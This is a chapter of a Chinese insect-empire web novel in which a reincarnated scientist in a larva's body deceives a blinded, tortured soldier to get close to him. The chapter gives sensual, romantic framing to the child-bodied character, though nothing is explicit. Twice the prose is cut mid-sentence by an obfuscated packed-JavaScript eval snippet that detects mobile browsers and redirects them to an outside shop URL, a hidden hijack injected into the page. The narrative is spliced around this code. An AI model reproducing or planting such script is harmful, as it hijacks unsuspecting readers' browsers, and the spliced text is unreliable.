阿克斯还记得昏迷前发生了什么,那个恶心的雄虫——对他注射了什么新型病毒,而那屏蔽了他的痛觉,很可能损毁了他的神经和感官系统。 与此同时,一股焚烧似的渴望在他被精神触须触碰的地方流窜,让他的神志摇摇欲坠。 他没有听到任何雄虫的声音,哪怕是呼吸声,仿佛这个空间只有他、雄虫精神触须和他面前的胖东西。 雄虫去哪了?眼前的东西又是什么?这是什么阴谋? 阿克斯的呼吸急促,失去痛觉后,他的其他感官加倍显化,每一分神志都在威胁着摆脱他的控制,重新陷入安稳的酣眠,或是向雄虫痛彻的屈服,而缠绕在他身上的触须让他无比恶心。 一种刻在基因里的原始本能正在苏醒。他本以为挖掉腺体后,他不会再遭受这种屈辱,但这些触须让他肮脏的本能卷土重来了。 “你到底有什么目的,出来!” 他寒冰似的声音穿透囚笼,引发主脑的警报,也把他面前的胖坨坨吓得僵硬住了。四周自然没有任何雄虫能回应阿克斯的声音,只有纠缠他的精神触须瑟缩着退却了些。 阿克斯越发烦躁,罪魁祸首无迹可寻,只留下该死的触须,阿克斯灰色的眸子猛然锁定了企图滚远的沃伦,虫崽如同被美杜莎的蛇头盯上了一般,瞬间石化。 他意识到了一个很糟糕的问题。 如果阿克斯发现这里只有他这个胖东西和猥琐触须的话,将他们联系起来也只是时间问题。阿克斯或许瞎了,但他不是傻子,而当他发现真相,他会对自己做什么? 瞬间,腰斩、分尸、生吞活剥——最后一个不太可能,阿克斯只吃营养剂——种种悲惨的下场划过胖崽的天才大脑,他立刻明白,自己必须利用雌虫目前的认知偏差,把自己撇清出去,才能保住性命! “我是被抓来的实验体...” 虫崽声音软软,并非故意发嗲,纯粹是吓的: “我是虫崽,这间实验室的实验虫在研发吞噬雄虫同胞神力的药剂,我的精神力被他看上了。” 虫崽吞咽了口水,生硬地加上了更符合幼崽形象的几个字: “呜呜,我要回家。” 暴露自己是雄虫崽也是无奈之举,因为雌虫、亚雌和雄虫崽之间差别太大,只有雄虫崽才会又软又胖,身体密度较低。沃伦不知道阿克斯有没有关于虫崽的这些知识,但万一对方知道,怕不是会被当场拆穿。 阿克斯听闻这话后,神色明显空白了一瞬。保护雄虫,尤其是幼崽几乎刻进了雌虫的基因里,他也一时想不到,帝国实验室竟然敢用活体雄虫做实验。 阿克斯知道帝国实验室藏污纳垢,金翎羽皇族也凌驾法律之上,但他没想到的是在帝国法度将雄虫保护到了极致的当下,竟然有平民雄虫成为实验耗材,和他们这些天生的耗材殊途同归。 多么可笑,这就是雄虫建立的神子之国。 或许他该乐见雄虫自食恶果。作为一个思想叛逆的雌虫,他该对跌落神坛的“神子”感到冷漠和解气,说到底,当一个帝国建立在压迫和奴役之上,没有一个生命能逃脱命运的掠夺,雄虫自以为高高在上,但他们同样是血肉之躯而已。 母神或许站在他们那边,但母神不会眷顾每一个雄虫。 而阿克斯感受到的只是嘲讽过后的悲哀和厌烦,还有愈演愈烈的愤怒和怜悯。 在他暗中成立黎明组织,企图掀翻帝国的时候,他已经为这个帝国征战了十年。无论他是不是皇族手中的棋子和木偶,他只知道作为一个军雌,保家卫国是他的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472127|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职。 被他保护的虫里,有军雌,有平民,有雄虫,更有幼崽。 他面前的虫崽即便是个雄虫,也太过年幼,根本来不及行凶作恶,他或许是他雌父九死一生换来的生命延续,他还算无辜。 “你不该来这里,这里是罪雌的囚牢。” 阿克斯声音冷硬,冰冷的手指蜷缩起来,刺入被纱布包裹的掌心: “滚。” 他压低眉目,身上散发出难以言喻的拒绝气息。如果他还是帝国之星,还是阿克斯元帅,他一定会救下这个虫崽,可是他早就不是什么元帅了。 他只是个濒死的实验体,刚被注射了病毒,被本能裹挟和侵蚀,即将失去自我,他救不了任何虫。 他身上的冷冽如霜的拒绝气息让痴缠的精神触须终于害怕了,它们颤颤巍巍地缩成一团,滚到阿克斯脚边,委屈地从异度空间发出叽叽叫,吵得沃伦脑壳痛。 眼看性命危机解除,虫崽应该顺势“滚”出去,换大号上线,彻底坐实反派炮灰和路人虫崽两个形象,以免阿克斯进一步的怀疑。 这才是理智的举动,但是虫崽胖腿却迈不开。 失去精神触须的缠附,阿克斯屈起长腿,彻底躲开厚脸皮的触须,他撑起身体翻下操作台,倚靠在实验室的墙边。因为目盲,他对环境更加缺乏信任,竟把双腿曲起,环抱在胸前。 因为他的动作,他身上刚刚缝合的伤口被牵动,即便在止痛药的影响下,虚弱感仍然存在,可是阿克斯的神色是平静的,他就在沃伦的注视下蜷缩起来,由战场上那个不退不避的战士,变得...柔软而虚弱,仿佛被一只看不见的手肆意折磨。 虫崽逃窜的动作完全停住了,他僵直地站在原地,一双小狗眼睁大,目光死死黏住第一次流露出脆弱的阿克斯,心率因不知名的原因飙上200。 一个倔强的人,哪怕流露出昙花一现的脆弱,都会让人无法抵抗,心生动容,更何况露出冰花初绽般脆弱的对象是阿克斯,那在角斗场上遍体鳞伤不肯倒下的战神。 一时间,沃伦仿佛看到漆黑矿坑中最坚硬的一块儿顽石裂开了一条细细的缝儿,微弱的光照进去,伪装成顽石的珍宝泻出满室星光。 胖虫崽的天才大脑里闪现出一个胆大包天的计划。 19. 叫雌父就不能打我了噢 似乎对他的念头有所感应,方才虫崽怎么召唤都召唤不回来的猥琐触须窸窸窣窣地游回他身边,堪称乖巧地被收回异度空间。 实验室里安静下来,只剩下两道呼吸声。一个是心率极快的虫崽,一个是呼吸频率紊乱的阿克斯。 虫崽迈开小胖腿,向双手无意识撕扯绷带和纱布的阿克斯靠近: “我不建议你撕开绷带,它们能让你更快愈合。” 他用糯糯的声音说道:“你是不是看不见呀,雌虫?你旁边有一个医疗仓,正散发治愈光谱,躺上去可以让你的身体舒服很多。” 是的,沃伦做下的重大决定是利用自己幼崽的身体,欺负阿克斯目盲,从而凭空捏造一个实验体的身份,靠近阿克斯,督促他尽快恢复。 此招虽险,胜算却大。 在方才的短暂“交锋”里,沃伦已经发现阿克斯的心比他想象的还要软。他顽石似的冷硬躯壳里,藏着一颗玲珑剔透的心脏,他的善良不仅是对他身陷囹圄的同僚和素不相识的同胞的,甚至还能分一点对立面的雄虫崽。 这个扭曲的帝国一直将阿克斯视作最锋利的武器,强迫他征伐宇宙,逼迫他同室操戈,但沃伦窥探到了真正的阿克斯: 他是一个守护者,一个保家卫国的战士,万般苦难未能催折其性。这样一个可敬的灵魂,却被置于柴薪,焚烧殆尽。 沃伦的小胖手紧张地捏捏,做了个抓握的动作。他在前世没见过这种人,在未来也不觉得自己会见到一个与他相似的灵魂了,他想抓住他,哪怕只是他散出来的一点暖意也好。 阿克斯朝虫崽的方向抬起眼,雪白的长睫颤颤,冷声问: “你为什么还不走?我保护不了你,对你没什么用处。” 他顿了顿,垂下眼睫,尽力避开监控低声说: “研究院有教廷的势力,他们不会坐视贵族在雄虫崽身上做活体实验,去找他们。” 他话音刚落,冰冷的身体却猛然一抖,被一个极其柔软的东西贴住了小腿和脚踝。 虫崽取代了方才猥琐触须的位置,浑然不知自己和触须一样让雌虫感到怪异无比。 “那个邪恶实验员走了,你不要怕。” 虫崽嫩嫩的嗓音从阿克斯的脚边传来,两只肥软的小爪子小心扒住阿克斯的大手,先为自己的胆大包天抖了抖。 他竟然在阿克斯清醒的情况下摸了他的手! 虫崽说着“不要怕”,自己却害怕得发抖,阿克斯如何察觉不到?他有些惊讶于眼前雄虫崽的性格,他乖得像个雌虫幼崽,听上去...甚至是善良的,关心着自己的。 这是雄虫吗?还是说眼前的幼崽还没来得及学他的父辈,变得残忍而酷烈,以雌虫和亚雌的惨状为乐? 阿克斯有些困惑,他常年征战在外,根本没有和幼崽相处的经历,了解很少。在诡异的精神触须离开后,他体内的渴仍然未消弭,光是抵抗就已经让他疲于应付。 而此刻,除了对雄虫的渴望,他在本能驱使下的身体,竟然还生出另一种妄念来: 这个虫崽危在旦夕,他需要一个雌父,哺育他,帮助他,拼尽全力保护他。 和帝国大多数深受洗脑的虫不同,阿克斯知道如果一个虫想要保持灵魂的完整,不被雄虫改造和奴役,就必须抵抗体内摧枯拉朽的动物性:眼前的虫崽不属于他,更不需要他,他不需要为虫崽淌出蜜汁养育他。 强盛之时,阿克斯摒弃本能,即使在实验室里,被阿尔蒙亲王反复折磨,他仍然不在雄虫精神触须的虐打下瑟缩。 可是这一次,和往常都不一样。 或许是阿克斯的身体已经在无休止的折磨里,彻底背叛了他的意志,又或许是新来的雄虫实验员精神力太过强大,彻底勾起了阿克斯被压抑许久的动物本能,让他面对一个虫崽都濒临失态。 “你把我当成你的雌父了?” 阿克斯压抑着身体里纷乱的渴望: “我不是你的雌父。你如果怕死,还想回家就不要靠近我。” 沃伦仰起小饼脸儿,看着自己圆鼓鼓的样子倒映在阿克斯的灰眸里,心道,我们之间只有你看不见,我知道你不是我的雌父,我是要成为你雄主的雄虫: “我知道你不是雌父。” 虫崽糯叽叽道:“如果我雌父像你一样遍体鳞伤,还不知道进医疗仓医治,我也会很害怕。” 他一手抱住阿克斯的膝盖,一手举高,用柔嫩的爪子蹭掉阿克斯眼角挂着的,不知是泪还是冷汗的水液: “你不要死,也不要受伤,好不好?” 他糯糯的声音过了好一会儿才传入阿克斯的耳中,让他几乎不知所措。阿克斯战胜敌人,忍受疼痛,也抵抗命运,但没虫告诉他怎么拒绝一只天真的虫崽。 “......雌虫和亚雌是不被允许使用医疗仓的,”过了好半晌,他哑声说道: “更何况是我这种罪雌。你大概是看错了,这里不会有医疗仓。” 沃伦看到雌虫态度软化,金黄的狗狗眼piu地一亮,迈开小腿噔噔噔跑到医疗仓旁,又噔噔噔跑回阿克斯身边,像个大年糕一样啪唧粘上雌虫的腿,肥肚子duangduang晃动: “你听到我的脚步了吗?就是这么近的距离,在你右手边十米处,你试试。” 虫崽绷着小脸儿,热切相邀,见阿克斯仍然低垂着头,似乎不感兴趣,仍然是一副了无生趣的模样,顿时急得胖肚子直晃,胆子一壮,像穿山甲一样拼命往雌虫怀里钻,想要看看雌虫藏在臂弯中的表情。 沃伦承认,他的举动是非常幼稚,如果再给他一点时间思考,重拾他实验室杀手、科研天才、冷酷学霸的尊严,他一定干不出这蠢事,但是在阿克斯面前,他不知怎么就变得和自己的精神触须一样无耻,完全无视掉了他和阿克斯之间该有的界限。 特别是在仗着幼崽身份,知道自己会被阿克斯容忍后,他已经不再抑制自己本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472128|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能的行为了。 他本以为自己不会成功,可谁知阿克斯似乎力竭,虫崽竟然直直钻进阿克斯的怀里,胖肚皮也duang地贴上了阿克斯铁一样结实的胸口。 小胖崽仰脸儿,软乎乎的鼻尖儿狗崽似的靠近阿克斯冰凉带伤的面颊: “我们一起去吧?你需要休息。” 虫崽软软的身体就贴在胸口,温热柔软得几乎不真实。恍然间,阿克斯突然想起了一段久远的记忆,那时候他和雌父一起在荒芜的沙漠中拾荒,他还没经过蜕变,腿很短,无法趟过炽热的沙地,被他的雌父用绑带挂在前胸,紧贴着雌父的胸口。 在他能反应过来之前,他的手臂已经抱住了怀里的虫崽,用自己的胸口挤出一个封闭的,安稳的空间拱卫柔弱的幼崽,就像当初他雌父抱着他。 沃伦被突然紧绷的胸肌挤得一声“呱”叫,像小饼一样贴上了阿克斯的胸口,甚至感受到雌虫的身体正在回温,胸口的心跳声也更加清晰了。 胖虫崽的小饼脸儿倏忽涨红了,他的胖爪子无措地贴住雌虫裸露的胸口,感受着那仿佛被钢铁淬炼的,隆起的肌肉在他爪下变软。 他不知道,那是雌虫的本能在阿克斯的体内作祟。为了保护幼崽,他干涸的身体正在拼命焕发生机,恰似枯木逢春,只为变成更适合育养幼崽的雌巢。 虫崽着了魔似的把小饼脸贴上阿克斯的胸口,谛听他的心跳,浑然不知他如今的举动比他的触须更加猥琐。 异度空间中,虫崽的精神触须兴奋的扭动在一起,仿佛正在交尾的蛇群,被虫崽的意志力拼命堵住了出口,不肯放它们出来作妖。 “医疗仓很好用的,我雄父都快腐烂了,在医疗仓里仍然可以活很久。你快躺进去。” 他叽叽咕咕催促着,烧红的小脸儿仍然紧贴雌虫的胸口。大概是虫崽胖脸的温度越来越高,雌虫像是惊醒了一般,突然将虫崽从怀抱里推了出去! “这是他的阴谋,对不对?” 阿克斯的精神到达了临界点,失去疼痛作为锚点,太多不敢幻想的念头挤占了他的脑海,让现实变得荒诞不经: “到底要我怎么做才肯停止这场羞辱?我的身体早就没有价值了,我无法满足雄虫的私欲,更不会摇尾乞怜!为什么把一个虫崽牵扯进来,他是个雄虫崽,他不是帝国的神子吗?!” 摔了个屁股蹲的虫崽惊慌地看着面色惨白,神色屈辱,变得有些歇斯底里的雌虫,意识到自己或许犯下了一个巨大的错误。 ...他不该将自己打造成受害者,利用雌虫的善良剥削他的光和暖,又让他陷入更深的困惑和惊慌之中。 一时间,沃伦也顾不上许多了,他撅着屁股爬起来,在愧疚的驱使下心一横,把炮灰反派的尊严丢到一边,小饼脸皱皱,发出幼崽细声细气的委屈哭叫: “我小小年纪就离开了雌父,身边只有你了,你不要死好不好?我们去医疗仓里吧,我一个虫害怕...呜呜。”